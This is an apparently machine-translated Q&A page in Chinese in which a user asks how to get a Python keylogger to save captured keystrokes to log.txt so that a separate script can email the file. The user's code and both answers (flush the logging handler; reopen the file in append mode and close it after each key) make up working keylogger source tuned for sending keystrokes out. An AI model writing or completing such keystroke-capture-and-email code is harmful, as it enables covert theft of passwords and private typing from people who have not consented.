如何保存它,以便电子邮件脚本可以读取/发送它?

时间:2018-10-25 16:41:13

标签: python email file-writing keylogger

我想将log.txt发送到电子邮件。电子邮件部分有效,但是此记录器未保存文件。它仅在退出时保存。因此,它一直在写作。每次按键后我都插入了f.write,但是没有用。

如果您能帮助我,我将不胜感激。

问题是:如何保存它,以便电子邮件脚本可以读取/发送它?

代码是:

log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
f = open('log.txt', 'w')
def on_press(key):
    logging.info(str(key))
with Listener(on_press=on_press) as listener:
    listener.join()

2 个答案:

答案 0 :(得分:1)

您需要刷新缓冲区。试试

logging.getLogger().handlers[0].flush()

每次写完之后。

答案 1 :(得分:0)

在将某些内容写入文本文件后尝试关闭该文本文件

f.close()

我也建议使用a+打开它以附加文件

是这样的:

log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, 
format='%(asctime)s: %(message)s')
#f = open('log.txt', 'w')

def on_press(key):
    f = open('log.txt', 'a+')
    logging.info(str(key))
    f.write("Put stuff here that you want written to a file")
    f.close()

with Listener(on_press=on_press) as listener:
    listener.join()